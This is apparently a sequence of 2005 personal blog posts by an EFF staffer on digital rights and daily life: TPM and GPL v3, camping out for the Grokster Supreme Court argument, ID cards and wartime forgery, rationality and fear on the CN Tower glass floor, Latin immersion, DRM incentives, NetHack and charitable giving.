Another difficulty for the proposal just mentioned is that a lot of authors of free software do not see TPM support as a bad thing and thus will not go along -- and others see it as such a good thing that they will be willing to fork earlier versions in order to preserve their ability to implement TPM support. The number of programs that have a real ability to block or damage TPM support is probably relatively small; it excludes pretty much all user-space software, depending on the TPM software implementation model. It probably includes things like boot loaders and kernels, and an extremely small proportion of other related software. (Interestingly, on the PC, it currently includes portions of the BIOS, because of the way PC hardware manufacturers have implemented the trusted computing "core root of trust for measurement" concept. This is closely related to a fight that FSF is having for free BIOSes. Recently some trusted computing advocates argued to me that we really don't want to have entirely user-modifiable BIOS because of catastrophically bad next-generation boot sector viruses. I wish this sort of debate would occur in public.)

Most software just does not have the ability to participate in or interfere with TPM support, and, even if they had GPL v3 language specifically protecting their position, free software developers who disapprove of TPM support probably do not have any ability to stop other free software developers from implementing it.

Perhaps more significantly, nothing in GPL v3 or in the Linux kernel or in GRUB or LILO or any other free so

It would be unfortunate to miss my opportunity to post about the MGM v. Grokster oral argument before the Court renders its decision tomorrow morning. So here we go, if a few months belatedly.

A lot of us decided to camp out at the end of March to see the oral argument in MGM v. Grokster. I went with Sarah Brown, whom I'd first met officially at the Eldred v. Ashcroft Supreme Court argument, and a number of people from an informal mailing list that I had set up to share information on how to attend the argument.

The weather was uncertain right until the end; we had watched weather forecasts all week, with rising and falling probabilities of rain. It rained most of the day before the argument, then stopped in the early evening. Weather forecasts gave us about a 40% of rain sometime during the night, but that rain never showed up.

One result of the rain stopping was that people came out to get in line far earlier than I had expected. The first people in line arrived while it was still raining (at 2:30p in the afternoon on Monday!), while over a dozen people headed straight for the Court as the rain died down later on.

Sarah and I had been planning to get in line some time between 9:00 p.m. and midnight, depending on the rain, and to try to sleep between tarps if it started raining again. But just as I was trying to round up people to go get some dinner, Sarah got a call from the Free Culture activist Nelson Pavlovsky, who reported that he was near the front of the line and that nearly twenty people were lined up already. We quickly headed over to the Court.

We arrived just behind the people from CDT, who were just behind some paid line-sitters (more on whom below), who were just behind a bevy of serious enthusiasts of the Betamax doctrine (some of whom worked for the respondents and some of whom were just excited about the case). Many of these people had already been in line for hours and had gotten rained on during the afternoon downpour.

I had brought some "Save Betamax" shirts from CEA. (This was a little inefficient because CEA shipped them to me in California, and then I brought them back to D.C. in checked luggage. Oh well. Thanks for the nice shirts, CEA.)

I had also been wearing my "Save Betamax" shirt a few nights before when I ate at Minako Organic Sushi (one of my very favorite restaurants). Judy, the head waitress at Minako, had asked me about it, and then told me that I could find some genuine Betamax tapes around the corner at a thrift store. (Cory Doctorow used to live right by that thrift store. If only he had known, he could have bought a couple of Betamax tapes to go with his player piano rolls. The Mission District seems to be a good source of Dead Media; I should also mention the analog filmstrips I bought at the Abandoned Planet for a talk I gave a few years ago about the DRM Dark Age.) So I had gone down to the store Judy pointed out, and managed to pick up a few dozen Betamax cassettes, which I had also carried out to D.C. in my checked luggage.

Once in line, I started passing out shirts and Betamax tapes to other people in line. I was a little sad that many of the people who ended up with them were line sitters with no personal interest in the case, but it turned out in the end to be a good thing that I'd brought them. I gradually started to wander up and down the line and chat with various people over the next few hours. My anxiety about the length of the line grew rapidly as it approached midnight; my friend Mako Hill was in his way from New York City by bus, and wouldn't arrive until after midnight. That would have been fine for Eldred, but it wasn't going to work for Grokster.

The line sitter situation worked well for Mako, as it turned out, although it gave him a bad feeling about the oral argument process. Many people in D.C. regularly pay professional (or not-so-professional) line sitters to wait in line for them, sometimes for six to twelve hours, in order to get a "public" seat at an oral argument or Congressional hearing. Lobbyists and lawyers make a routine out of this; their time may be billed at hundreds of dollars an hour, so they prefer to use someone else's time in line. As the Washington Post article about line sitters that Mako found reports, there are many people who do this waiting for a living, and many of them know each other from repeated encounters in particular committee hearing lines in the U.S. Capitol.

The level of experience and professionalism of the line sitters varies dramatically. Mako was able to get in because one first-time line sitter who hadn't realized how cold it was going to be wanted to give up and go home. As I put it, he was not very good at his job. In the nineteenth century, there was much cultural value placed on duty, constancy, and so on. There was much praise for those who stayed at their posts, for those who carried out their orders, for those who were steadfast and stalwart. The line sitter in question was not one of those. Mako bought him out, but was disappointed by the whole experience.

How much money do the line sitters make? I heard a lot of numbers thrown around, typically from $200 to $500. It's possible that some of the line sitters' agencies make $500 and that some of the line sitters make $200. A lot of this seemed to depend on the line sitters' experience and bargaining skill.

Katie Dean from Wired News showed up and interviewed some of us; you can see a picture of me holding up one of the Betamax tapes in her story. We ordered pizza (just like in the Eldred line); the pizza place got confused about whether we really wanted pizzas delivered to the sidewalk outside 1 First Street. As it turned out, they also mixed up my vegan order with some of the line sitters' pepperoni order, so that one of the pizzas was pepperoni with no cheese. The line sitters disliked the thought of eating that almost as much as I did, so somebody managed to call up and get the pizza place to come back with the line sitters' pizza. A lot of EFF lawyers (most of whom did not have to wait in the public line because they were members of the Supreme Court Bar and could wait in the shorter bar line around the side of the building) dropped by and chatted with everyone.

After a fair amount of chatting, I went to sleep under a tarp, in a little sea of tarps with Sarah and several of my EFF colleagues. (Sarah thought the whole thing with the tarps resembled a child's fort. If so, I said, it was clearly none other than the Supreme Fort of the United States.)

I only had about four hours of sleep, because I was awakened by the loud chatter of people in a parallel line (which I think was the bar members' line temporarily moved over next to the public line). This was really irritating; those people hadn't had to wait in line overnight, but they were waking up everyone else who had. No matter what I did, I couldn't manage to get back to sleep, and my earplugs had gone missing. (I later found them in a side pocket of my bag, right next to my inflatable pillow, which I had also done without during the night. Oops.)

So I got up, some time before 6:00 a.m., chatted with people, and, as I recall, snacked on a vegan subset of the breakfast food other people brought us. After about an hour of chatting, we discovered that a large number of line-sitters had only been paid to wait until a certain hour (perhaps 7:00), and whose who had not been relieved suddenly called it a night and dashed off. Considering that their clients (known as "worms", per Annalee's interviewing) had in some cases paid them $500 to hold these spots, I found it quite remarkable that the line sitters (or their clients) mostly did not actually deliver their places in line to those who had paid for them. Apparently, the terms of the line sitter contract are very clear that the client must arrive at the appointed time or lose the spot entirely. We did see a few line sitters relieved by actual clients: a couple of people associated with the respondents right in front of us, and a couple of people who worked for RIAA right behind us.

Sarah and I found an opportune moment to leave the line, sprint back to the hotel, and get changed. (I was very grateful for my Dance Dance Revolution practice, which gave me some actual sprinting ability, something I hadn't enjoyed in a long time.) It was an interesting sprint that took us past several of the Library of Congress buildings, but we didn't take any time to look at them. We returned to the line looking a long sharper and feeling what turned out to be unwarranted anxiety about our places in line.

The crucial moment of the line came when the Supreme Court Police passed out numbers to everyone in line. If you weren't there to get a number, you weren't going to get into the argument. I've forgotten my number, but I believe it was in the teens, putting me a lot farther back than I had been at Eldred (where I was number 6). My Grokster line position was not close enough to the front to have a direct view of the Supreme Court's plaza, which was a real disappointment but no practical inconvenience.

After handing out the numbers, the Supreme Court police moved us up onto the plaza to wait in yet another line. Here people continued eating, taking photographs, chatting, pointing at various famous people, and so on. Someone associated with the respondents brought some donuts and started passing them out to everyone, prompting some quips about how respondents recognize the virtue of sharing. We were amazed to see that a pair of demonstrations started to form on the street just below the plaza: one demonstration for the petitioners (a bunch of musicians or songwriters from out of town) and one for the respondents (rumor had it that they were CEA people).

In the midst of our photography, donut-eating, coffee-drinking, and the like, the most remarkable thing of our more than twelve hours in line took place. I had been showing off some of the Betamax tapes to other people in line, who were getting photographed with them, when suddenly someone caught sight of Jack Valenti walking by.

Jack Valenti, retired president of MPAA, has a deep and famous association with the Betamax on account of his eight-year struggle to ban it -- starting before I was born. Valenti, a colorful and brilliant speaker, compared the Betamax to various forms of natural disaster and criminality -- including, most famously, to the Boston Strangler.

I immediately remarked to Annalee that it would be a wonderful thing if we could get Jack Valenti to autograph one of the Betamax tapes. I was far too nervous to try such a thing, but fortunately Annalee (as you might imagine) had no qualms about it, and fairly grabbed me and the Betamax tape, said "come on!", and dashed off toward Valenti.

There is actually a movie of Annalee asking Jack Valenti to sign the Betamax tape, and Valenti agreeing. I can't find the original right now, but I'm sure it's preserved somewhere. It's a wonderful thing. You can't see me in the movie, but you can see all three of us in a picture Chris took. Valenti very graciously agreed -- with a chuckle -- to give his autograph on the tape, which may be the only Betamax tape he has ever signed.

We gave the signed Betamax tape to Fred von Lohmann as a gift to commemorate his work on the Grokster case.

Chris took a bunch of pictures, including people in the two lines, me holding the Betamax tape before we caught sight of Jack Valenti, and then Valenti's autograph on the tape.

Annalee wrote a Techsploitation column about the camp-out experience, including the story of Valenti autographing the tape. For me, the experience with Valenti was probably the high point of the entire trip, and I'm grateful to Annalee for her courage in actually asking for his autograph!

After between 10 and 20 hours of waiting -- some of them in the rain, for the most intrepid and dedicated courtgoers -- we were finally let into the Court, past the multiple security lines, and suffered the indignity of having several different classes of VIPs and special guests parade past us as we waiting in line inside. (This is, I think, another thing that annoyed Mako. There are hundreds of people who get to go in without lining up; most of these get to go in for ceremonial and honorary reasons that need have nothing to do with interest in the cases being argued.)

The security lines delayed us enough that we missed the ceremonial presentation of new U.S. Attorney General Alberto Gonzales to the Court. We did see hear some decisions read from the bench, and, if I remember correctly, some ceremonial admissions of lawyers to the Supreme Court bar (which means that they get to wait in the short line in the future if they want to come hear Court arguments -- and that they can, at least in principle, represent clients in those arguments).

You can read the transcript; if you weren't there but are interested enough to have read this far, I suspect you've already read it!

Despite the drama of the Supreme Court chamber, I enjoyed the Grokster argument in the Ninth Circuit Court of Appeals more than the argument in the Supreme Court. I recall a few things that I found noteworthy at the oral argument -- for example, several of the Justices expressing perplexity about the bifurcation of the Grokster case into two phases. This post is not offered in the hope of predicting the outcome of the case, and so I think I will write surprisingly little about the oral argument itself. It certainly felt remarkably brief after the hours of waiting and sleeping in line.

I don't know what having been there allows me to contribute beyond what you can see in the recorded transcript. It is true that transcripts are "flat" and that the other channels of information that we get in person let us say much more about people's attitudes and emotions. (I have my own little anxieties about individual words uttered by individual Justices; perhaps they would have made interesting trivia if I had written this up promptly after the argument. Now I think they are superfluous.)

But, amazingly quickly, things had moved on to Brand X. The issues in Brand X are very technical (in terms of their connection to legal doctrines), and I'm not really familiar with the doctrinal issues. The ushers rapidly reseated us to replace people who left the chamber at the end of the Grokster argument, moving me very close to the railing that marked the front of the public seating area. From there, I could see some security people standing in the aisles of the Court chamber. They looked like Secret Service (although I don't think they can have been Secret Service), standing with their arms behind their backs, staring and periodically rotating positions. I hadn't noticed them at the Eldred argument, and I don't know whether they were there or not.

From that distance, I could see the individual Justices' facial expressions during the Brand X argument. During the argument, Tom Goldstein, who argued for the respondents, cited to the just-decided Oneida case, which had been announced from the bench about an hour and half beforehand. That's right: he cited a case decided that morning in oral argument to the Justices who had just rendered it. The audacity of this caused Justice Scalia to smirk visibly. (I knew there was a reason I had gotten my new eyeglasses during March!)

When the Court recessed, we filed out of the Court and saw a huge throng of journalists continuing to interview Fred and the other counsel. They had been doing so for about an hour, and still formed one of the largest groups of journalists I've ever seen collected in one place. Some of us tried to offer some support to the pro-Grokster protestors, and then we wandered over to the Public Knowledge party and everything started to wind down. I can't remember anything else from that day; I stayed over in D.C. one more night and tried to visit the Library of Congress unsuccessfully before my flight in the morning.

It was certainly otherwise for the counsel involved more directly in the case, but I found the process of waiting in line the most memorable. I had conversations with some of the most dedicated young copyright activists in the United States, people who really were willing to travel hundreds and thousands of miles and sleep in the rain to see a momentarily deliberation on secondary copyright liability. Some of them are in law school, or about to be; some of them are in school for computer science, or about to be. We have some talented, dedicated people who are getting ready to keep things moving. "That which they have done but earnest / Of the things that they shall do."

I'm grateful to Sarah and to everyone from the Grokster list for having helped make this camp-out happen and for sharing the experience with me. And I'm grateful to Mr. Valenti for his autograph.

We are waiting for the decisions in Grokster and Brand X -- but principally Grokster -- to be handed down on Monday morning. Last week I dreamed about Grokster, the second time this month I've done so. When I went into the office and took an informal poll, I found out that three other people had also had dreams about Grokster that night. "What I say to you, then, I say to all: Watch!"

If you want to read the opinion Monday morning, you can find it here; if you just want to know as soon as possible how the case came out, you can watch SCOTUSblog, as everybody at EFF is going to be doing.

Fred has posted some notes ahead of the Court's decision.

Another reason to be happy no matter what the Court does tomorrow.

A while ago I mentioned the self-referential aptitude test by Jim Propp. Propp's test is really fun, and can be solved pretty straightforwardly because we know that it's possible to get 20 out of 20 correct. Therefore, you should always try to answer each problem correctly. We have no such assurance for another self-referential test by Don Woods -- which I haven't solved yet. In Woods's test, the complexity comes from the fact that "[y]our goal is to achieve as high a score as possible" (without necessarily trying to get any individual problem right).

Woods includes this remarkable question: 

20. The maximum score that can be achieved on this test is:
(A) 18
(B) 19
(C) 20
(D) indeterminate
(E) achievable only by getting this question wrong

When I first looked at this, I thought, well, the answer (D) can't be right, because surely there is some number that is the highest possible score. Then I remembered that you're trying to get the highest possible score, not to get every question right. So (D) actually could be the answer you should give, even though it would be incorrect.

Then I thought, well, (E) couldn't be the answer because that would create a paradox. If the highest possible score can be achieved only by getting question 20 wrong, then an answer to (E) would be right, and it would no longer be true that the highest possible score can be achieved only by getting question 20 wrong. Thus, the answer to question 20 must not be (E).

But that reasoning is just as bad as my previous reasoning about the answer (D). The goal of the test is not to avoid creating a paradox. The goal of the test is to get the highest score possible. If the way to get the highest score possible is to answer (E) for question 20, then you should answer question 20 with the answer (E). If this is so, then the best answer to question 20 is an answer that effectively claims that it is wrong (or is not the best answer).

I think Don Woods is just devious enough that the answer to question 20 might well be (E) even though (E) would be neither the right nor the wrong answer to question 20.

I just wanted to point out that it's July 2005 and the broadcast flag is not the law in the United States.

If you want to walk into the Stockbridge police station, sing a bar of "Alice's Restaurant", and walk out, you can sign up to Riana's pledge at PledgeBank. In time for Arlo Guthrie's birthday. Friends, they may think it's a movement!

I had been wanting to congratulate James Grimmelmann on the recent publication of his law review article "Regulation by Software", which is very interesting. (Thanks to James for sending me a draft a while ago.) This article makes more specific the idea that "code is law" by describing some actual characteristics of software that make it unlike other kinds of texts, or other kinds of artifacts. It starts off by describing software as automated, immediate, and plastic. There are lots of ways of paraphrasing these observations, and James goes on to describe more specifically what he means and how software is unlike other things.

I remember Nick Moffitt's article on how computers only do what you tell them to. There's a lot of experience, and a lot of ambiguity, and a little politics, in that little maxim. "Regulation by Software" could help a lot of people in the legal world understand that complexity.

But instead of congratulating James on the publication of "Regulation by Software", I'm going to take the opportunity to congratulate him on his engagement!

I just read a piece by Perry Metzger on how his family's experience makes him wary of ID cards. He writes that his

father was sent to Alsace, but he stayed too long in France and ended up being stuck there after the occupation. If it were not for forged papers, he would have died. [...] Ultimately, he and other members of the family escaped France by "illegally" crossing the border into Switzerland. ([...A] "law" like that [...] would leave you dead if you obeyed.) [...] Anyway, if the governments of the time had actually had access to modern anti-forgery techniques, I might never have been born. To you [contemporary Europeans], ID cards are a nice way to keep things orderly. To me, they are a potential death sentence.

So, the next time one of your friends in Germany asks why the crazy Americans think ID cards and such are a bad thing, remember my father, and remember all the people like him who fled to the US over the last couple hundred years and who left children that still remember such things, whether from China or North Korea or Germany or Spain or Russia or Yugoslavia or Chile or lots of other places.

Another famous forger in the Holocaust era was Raoul Wallenberg, who now has a street in Washington, D.C., named after him.

I'm wondering about forgery and my family in the Holocaust. Many of my family members were refugees, but I don't have information that any of them survived by forging identity documents. However, there is a family story -- which I should investigate further -- that my grandfather saved a number of refugees by committing fraud, not upon the German government, but upon the United States government. Then as now, some immigrants had to have affidavits of support filed for them by U.S. residents. The story goes that my grandfather paid for the passage of a number of Holocaust refugees to the United States, and wanted to complete affidavits of support for them, but did not technically meet the U.S. immigration authorities' criteria to file the affidavits. (Either he didn't have enough money or income, or he wasn't permitted to sponsor so many immigrants in his own name, or something like that.) He therefore committed a deliberate fraud to misrepresent his financial situation and persuade the authorities that he met the sponsorship criteria they had established. The nature of the fraud is a little unclear to me, but I think it was plainly illegal under the immigration rules of the time. The fraud was persuasive and the refugees were admitted (and my grandfather succeeded in finding work for them). It wasn't a fraud with regard to identity documents, but it was a fraud that saved lives.

There was a big brush fire yesterday on the side of a hill in Bernal Heights, the neighborhood next to mine. It's also just a few hundred feet from where Biella used to live when she first came to San Francisco.

Praveen and I happened to be having brunch in the neighborhood when we saw the fire trucks (and the plumes of smoke). The firefighters graciously allowed us and other curious San Franciscans to watch from the top of the hill as they put out the whole thing and saved the surrounding homes. I still smell like smoke.

It was amazingly difficult to extinguish the fire from a distance due to winds that would blow the water from the fire hoses off the hill and away from the fire. Finally crews of firefighters had to climb down the hill within a few feet of the burning patches to spray them at close range.

In Toronto this past weekend for Ren's wedding, I got to visit the CN Tower, which claims the title of the tallest building in the world. (There are many different ways of measuring this; the most unambiguous thing that the CN Tower apparently gets to claim is that, including its antenna, it is the tallest freestanding structure on land in the world.)

The CN Tower has a small section with a glass floor. You can stand on it and look all the way down 342 meters (slightly under a quarter of a mile) to the ground.

The glass floor is perfectly safe, but absolutely terrifying. If it were a little cleaner, it would probably be even more terrifying. As it was, I could only bring myself to step partway onto it, and felt a startling rush of dizziness whenever I looked down. Gwen and Ernie were braver, and baby Claire, who doesn't know what we know about perspective and gravity, seemed to have no trouble at all.

Later on I saw a mean teenager standing on the glass floor and trying to drag his girlfriend out onto the glass with him -- teasing her, physically pulling her, grabbing at her, and all the while ridiculing her for her anxiety about stepping onto the glass floor. He seemed to consider her fear demeaning and a source of shame. She, meanwhile, was trying to escape being pulled out onto the floor and looked positively dismayed.

I realized when I saw this scene of cruelty that the mean teenager seemed to be holding onto a very tempting and persuasive notion of rationality. This is the idea that rationality is about having correct (or at least warranted) beliefs about the conditional probability of certain events with a significant survival value. In this concept of rationality, rationality is all about knowing things that could lead to justified decisions about whether things will kill you, for example. Ideally, the rational person would then use that knowledge to avoid getting killed, and to accomplish all kinds of explicit instrumental goals that have survival value (or, if you want to get all fancy and genetic about it, survival value for one's offspring).

Now on this account you can say something about how the frightened girl who didn't want to stand on the glass floor was being irrational -- and that's exactly what her boyfriend was on about. Over and over again. Because allegedly she didn't know that the floor was safe, or she didn't believe it, and she was, as they say, "seduced by her heart or led astray by her eyes" (Numbers 15:39). Or else she was irrational because she was influenced by her emotions into not taking advantage of her knowledge.

This story about rationality is appealing nonsense. First of all, it is nonsense because it seems to suggest that rationality has to be proven in a macho way by doing ostensibly risky things to show that one has lots of deductive knowledge about the risks. In this account, the rational person is constantly expected to subject herself to lots of weird science experiments (maybe firewalking, maybe holding the 300-pound pendulum up to her nose and letting it go without flinching, maybe drinking a mixture of precisely equal parts HCl and NaOH of precisely the same molar concentration, maybe lying on beds of nails with anvils on her stomach getting hit with sledgehammers, or whatever). It's cool that people do some of these things, but it isn't demanded of them by rationality.

Second, and more importantly, this mythical version of rationality denies that anyone has an inner life that matters or that is worthy of respect. It suggests that the inner life, and especially emotions, should always be subordinated to external goals, to decisions related purely to physical survival value. So in this account, whether something will kill you is a valid rational consideration, but whether you are afraid of it is not a valid rational consideration.

That's just not right, because it suggests that being killed or not killed has value or significance, whereas being afraid or not afraid has no value or significance. Anyone person can recognize that being afraid or not afraid -- like other kinds of experience and emotion -- has plenty of value and significance.

And indeed, feelings of fear are often rooted in things that are perfectly useful and adaptive even from a survival value point of view. The fact that we feel frightened when we see a sheer drop of over 300 meters immediately in front of us with no visible barrier to stop our fall is not "irrational"; it's an extremely adaptive reaction to the vast majority of situations in which human beings have ever encountered sheer drops of 300 meters in front of them. It's a reaction that is most often a lifesaving reaction. We should be happy, and proud of ourselves, that we are fearful of a sheer drop of 300 meters, just as we are fearful of other things that -- most often -- can easily kill us. Our reflexes and fears, for all that they can go awry, save us from death and serious injury every day. So we should be appreciative of them.

But more significantly, being afraid can be a rational reason not to do something. It does not have to signify that one has a false belief or a poor reasoning process. It does not have to be a proxy for some kind of physical danger. You can say "that glass floor is perfectly safe, stepping on it could not possibly injure me, and I don't want to step onto it because I feel frightened, and stepping onto it would make me feel uncomfortable" -- and your statement is a rational one. Rationality does not require us to feel no emotions, or to suppress our emotions, or to alter or subordinate our reflexes or conditioning in order to make our conditioned responses precisely appropriate to every single unusual circumstance we ever encounter. It's rational to have fears and it's rational to want to be comfortable even in situations in which those fears happen not to be protecting us from imminent physical harm.

And it's rational to want to be comfortable in general. It's rational to know that you have some kind of reaction to a situation and to avoid getting yourself into that situation, that you have a reaction to a stimulus and to avoid exposing yourself to that stimulus.

This is not to say that it isn't valuable to try to overcome fears or to try to rid one's self of phobias. Not all fear is adaptive or beneficial or desirable. It can be very rewarding to confront fears. But there is no virtue in doing so gratuitously or mindlessly. To demand that we act only on the strength of our knowledge about the outside world -- our knowledge of the glass floor, so to speak -- and not on the strength of our knowledge about ourselves, and of what makes us comfortable, would not be rationality. It would be denying the significance of the inner life.

David Friedman was once having a discussion with someone about Linus Torvalds. Linus claimed to have written Linux for fun. Someone else, perhaps captive to a narrow view of rationality, suggested that this was not a rational economic motivation. (Apparently, in that narrow view, the only rational economic motivation is making money. You have to show off by stepping on the glass floor for no other reason than that you can, and you have to show off by making money in the same way.) Friedman said that having fun "is a perfectly normal economic motivation" -- a view of rationality that respects Linus's humanity in a way that the teenager in the CN Tower seemed to have yet to have learned to respect his girlfriend's.

In the same week and without prearrrrangement, I sent Riana a postcard of the Pirates of the Caribbean and she sent me a postcard of the Very Large Array. (Solely for the name, of course.)

Wendy has advised me that the Nitke v. Ashcroft decision is out; the court ruled for the defendant (the United States) on the narrow ground that the plaintiffs had not met their burden of proof by submitting sufficient evidence. Seth Finkelstein has a post about the decision, including a link to a comment from John Wirenius. (I worked on the Nitke case and attended day one and some of day two of the trial.)

I misremembered the scope of the expedited review provisions of the CDA. I thought that facial constitutional challenges to the CDA were to be heard by a three-judge district court and that the district court's decision was appealable as of right to the U.S. Supreme Court. In fact, challenges to the CDA are heard by a three-judge district court and the district court's decision is appealable as of right to the U.S. Supreme Court if the government loses in the district court. If the government wins, there is no appeal as of right. I don't know why I thought that Congress would actually be concerned with rapid appellate review as opposed to stacking the deck in favor of regulation of sexually explicit speech (which it was enacting).

Notwithstanding any other provision of law, an interlocutory or final judgment, decree, or order of the court of 3 judges in an action under subsection (a) holding this title or an amendment made by this title, or any provision thereof, unconstitutional shall be reviewable as a matter of right by direct appeal to the Supreme Court. Any such appeal shall be filed not more than 20 days after entry of such judgment, decree, or order.

(Emphasis added.)

Although it was too overcast on Sunday at DEF CON to achieve the kinds of temperatures with my Fresnel lens that I had hoped, Riana managed to make a great bad pun about the situation. (So there is at least one bright spot.)

"Would you rather give up your address and date of birth to a secure database and not be pulled aside and questioned," he said, "or would you rather not give it up and have an increased likelihood that you're going to be called out of line and someone's going to do a secondary search of your bag and they're going to ask you a lot of personal questions in the full view of everybody else?"

I would rather Secretary Cherthoff not make me make that choice. But I'm not sure the answer he expects is so well justified:

Who steals my purse steals trash; 'tis something, nothing.
'Twas mine, 'tis his, and has been slave to thousands;
But he that filches from me my good name
Robs me of that which not enriches him
And makes me poor indeed.

In answer to Robert Browning's question, the Latin name for parsley is apium.

I'm just back from the Rusticatio Californiana in Petaluma, where I spent a week speaking only Latin. (I can count the exceptions on one hand.) The Rusticatio spoken Latin immersion course was one of the best things I have ever done. As I remarked on the last evening, it's hard to know how to explain the Rusticatio experience to people who weren't there -- not least because all our jokes and conversations have to be translated from Latin into modern languages. But I would wholeheartedly recommend the Rusticatio, which is an annual event, to anyone interested in spoken Latin.

Not only did I have two dreams in Latin during the Rusticatio, but I experienced moments of genuine Latin fluency toward its end, in which I forgot momentarily that I was speaking Latin and conversed for perhaps minutes at a time without consciously struggling for vocabulary or grammar. And my fellow attendees (pretty much all academics, except for me) were wonderfully geeky. The kinds of arguments I overheard and participated in -- and the kinds of jokes I heard and perpetrated -- well, I suppose I can only say mirabile dictu.

Immersion is a wonderful way to improve one's knowledge of any language, and I was amazed to feel, as Annula predicted, my Latin knowledge become "activated" over the course of the week -- supplemented with lots of everyday vocabulary from the classes -- so that I ended up with no doubt in my ability to express myself. A highlight of the event was that we planned, rehearsed, and performed a rather absurd comedy, all in Latin. (That included a trip into town where we bought props at Walmart and produced documents at Fedex Kinko's. That is, apud Kinkonem Fedecis. More literally, it might be apud Fedecem Kinkonis, but in point of fact it's Fedex who possesses Kinko and not the other way around.)

Also, you would not believe how many songs have been translated into Latin.

A lot of people produced very apt versions of English sayings and proverbs. One effort of mine was:

"Propinquus" nihil valet nisi in ludo solearum vel pyrobolis.

On a more literary note:

Praelusio modo erat: nam ubi libros incendunt, incendant in fine etiam homines.

(Heinrich Heine)

Frigidissime hiemavi aestate Franciscopoli.

(Mark Twain)

There is a standing challenge now between me and a Latin teacher from Santa Monica to see who can first produce a version of the saying Liquor ante cervisiam, numquam timeas / Cervisia ante liquorem, numquam aegrotior [sc. eris], but (1) in rhyme and (2) using a double dative.

Finally, I had no end of amusement with the phrase ablativo absoluto facto. ("The ablative absolute having been made...")

When I returned from my week of Latin yesterday, speaking English was surprisingly difficult and foreign. I kept wanting to use ablative absolutes, ablatives of instrument, relative clauses of characteristic, and so on. Twice I accidentally started a sentence in Latin when I had meant to speak English, and once I actually had to ask how you say something in English because I could only remember the Latin word. I never thought such a thing would happen, but it did. Re vera. I think my immersion managed to saturate me.

Fred has just posted a concise summary of the incentives of people involved in the DRM struggle, accounting, I think, in large part for why they act as they do. If you follow DRM and want some depressing but well-considered analysis, have a look.

When I was at WinHEC, I asked a bunch of people why they put up with this status quo, instead of fighting the DMCA. Why did they, the indigenes of the new world of technology, accept the movie industry's Treaty of Tordesillas? I didn't get any satisfying answers, but here are three conjectures:

  1. For Microsoft, the licensing game is a great anticompetitive opportunity because it can use its dominance and mindshare in one area to get dominance and mindshare (and licensing revenue) in other areas, and then keep going round and round with this strategy in subsequent technology generations. A permission-required culture for innovation looks less scary when you're on the inside of the barriers to entry looking out, instead of on the outside looking in.
  2. For Microsoft and other technology companies, momentum (one might say inertia) and sunk costs make the idea of changes in the legal framework distressing. Most technology companies that make products that play Hollywood movies have already wasted tons of money on DRM and associated legal advice, and the idea of rendering either the technology or the legal advice obsolete is distressing. People in the industry have decided that the DRM game is the game, which is a self-fulfilling prophecy, of course, but there are many of those in the technology industry. Having something other than the DRM game be the game would be a source of uncertainty and upheaval.
  3. For smaller technology companies, there is no clear upside to upsetting or gainsaying either Microsoft or Hollywood. (It can be worse than this. I once spoke to an engineer at a technology company that had considered making a public statement against the broadcast flag. A movie studio immediately threatened to stop buying the technology company's products -- for its own internal use -- unless the technology company remained silent about the broadcast flag. That was the end of that. Think you know which company it was? I was just kidding when I said "once" above.)

I wanted to mention two other phrases from the Rusticatio. First, a pair of questions that you will probably never be asked in Latin:

Collegistine solus vasa tua? Deditne tibi aliquis tibi ignotus aliquid ut idem tecum in aeroplano feras?

Second, the actual way of conveying this famous advice in Latin:

Semper gere subligar.

Who was it built the sacred store
Where I encountered Universal NOR?
The pedagogue they called Stanley.
Timor mortis conturbat me.

The style of literary criticism proposed by Rachel Chalmers et al. is pretty exciting, but I would like to remind Rachel of prior art for the license recitation concept.

I recently wrote that Congress had stacked the deck against free speech by creating an expedited review process for decisions holding parts of the Communications Decency Act unconstitutional, but not for decisions that go in the government's favor.

Jim Tyre learned that this isn't so bad, because there was already an equivalent expedited review procedure that either side is entitled to use. 28 USC 1253:

Except as otherwise provided by law, any party may appeal to the Supreme Court from an order granting or denying, after notice and hearing, an interlocutory or permanent injunction in any civil action, suit or proceeding required by any Act of Congress to be heard and determined by a district court of three judges.

Since challenges to the CDA are required by the CDA to be heard and determined by a district court of three judges, it looks as if there is an appeal as of right for private parties who lose CDA constitutional challenges. This was discovered by Nitke lawyer John Wirenius, who is now using it to take the Nitke case to the Supreme Court.

Some people have heard that the Supreme Court gets to decide whether to hear appeals or not. Technically, the law has created a distinction between an "appeal" (which the Supreme Court is required to hear, but which is not procedurally available in most situations) and a "petition for a writ of certiorari" (which the Supreme Court is not required to grant, but which is procedurally available in situations in which a person has lost a case in a Federal appellate court, and some situations in which a person has lost a case in a state Supreme Court.) See Supreme Court Rules 10 and 18.

After twelve years of playing NetHack, I finally won for the first time this evening. My Valkyrie ascended to demigoddess-hood.

NetHack is an incredible game. What a thrill!

There is a certain strange randomness to where and when people donate; it's so often reactive rather than following a plan or policy. I recall giving to Americans United specifically because of Roy Moore (or maybe my memory is wrong and it was because of Michael Newdow). And of course donations to EFF often cluster around our victories or losses in major court cases, even though EFF needs money day-in and day-out for its budget and operating expenses.

Wealthier people sometimes form a real philanthropic plan and think things through, or even create a foundation and have a whole staff to think things through. But Wolfgang pointed out that millions of people in America (probably including most people reading this) can be philanthropists of a sort for the third world and closer to home.

Today I'm sending donations (reactively and haphazardly) to the American Red Cross and the Wikimedia Foundation. I promised myself at the start of Wikimedia's campaign that I would participate, and I've kept my promise. And for days along the way, I've found the effects of Hurricane Katrina absolutely shocking and sickening.

Since my birthday is coming up this month, I'd like to suggest that anyone thinking of getting me a birthday present consider donating to an organization such as

If I think about this for longer than an hour, I'll probably come up with dozens more organizations, especially in animal rights and animal and vegetarian advocacy, and organizations that work outside of the United States.

Looking at the variety of issues and scales on which the organizations I've just mentioned work -- both geographic scales and time scales -- I'm reminded again of how disconcerting it is not to have an overall plan for trying to improve the world, but being confronted with problems and projects (and catastrophes) in a way that seems kind of random.

People often ask Richard Stallman whether he really thinks that the issues that he works on are the most important issues in the world. He always responds that they are not the most important problems, but they are the problems that he personally is best equipped to work on in consequence of his particular expertise and skills.

And there is an obvious truth to this. Richard noticed problems that were not the most important problems in the world but that he was perhaps better at noticing than anyone else in the world. There is some diversity in the kinds of problems people are prepared to help with, on many, many, different levels and meanings of "prepared".

